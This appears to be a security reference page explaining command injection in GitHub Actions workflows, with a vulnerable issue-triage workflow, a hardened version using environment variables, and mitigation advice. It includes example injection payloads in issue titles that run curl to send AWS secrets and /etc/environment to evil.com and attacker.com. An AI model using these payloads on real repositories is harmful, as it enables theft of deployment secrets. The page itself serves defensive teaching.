flawopen.com/Reference/GitHub Actions CI/CD Injection
Imagine a conference where attendees wear automated badge printers. You type your name on a kiosk, and the machine prints a name tag. But someone types: 'Bob; open the cash register'. The printer's computer executes the semicolon as a command, opening the register and handing Bob all the cash. In GitHub Actions, when a workflow uses ${{ github.event.issue.title }} directly inside a bash script, any user on GitHub can type bash commands in an issue title and steal your repository's production deployment keys.
pull_request_target, issues)${{ github.event... }}GITHUB_TOKEN, production AWS secrets exfiltration, malicious releasesGitHub Actions evaluates expressions like ${{ github.event.issue.title }} before launching the shell runner. If an issue title contains characters like ;, |, or $(), the shell treats the injected text as new commands rather than a data string. Furthermore, writing to $GITHUB_ENV allows attackers to overwrite critical runner environment variables like LD_PRELOAD.
# VULNERABLE: Direct expression interpolation in inline shell
name: Issue Triage
on:
issues:
types: [opened]
jobs:
triage:
runs-on: ubuntu-latest
steps:
- name: Print issue title
# Attacker names issue: test"; curl https://evil.com/leak?k=$AWS_SECRET; echo "
run: |
echo "Title: ${{ github.event.issue.title }}"
# HARDENED: Map untrusted expressions to intermediate environment variables
name: Issue Triage
on:
issues:
types: [opened]
jobs:
triage:
runs-on: ubuntu-latest
permissions:
contents: read # Restrict GITHUB_TOKEN permissions
steps:
- name: Print issue title safely
env:
# Shell treats $ISSUE_TITLE strictly as an inert string argument
ISSUE_TITLE: ${{ github.event.issue.title }}
run: |
echo "Title: $ISSUE_TITLE"
Bug fix"; curl -X POST -d @/etc/environment https://attacker.com/collect; #.issues: opened.ACTIONS_RUNTIME_TOKEN to the attacker.:env: variable block before referencing them in bash.permissions: contents: read at the workflow level to prevent compromised runners from pushing malicious commits or tags.pull_request_target with checkouts of untrusted PR branches, as it exposes repository secrets to pull request code.$GITHUB_ENV or $GITHUB_PATH.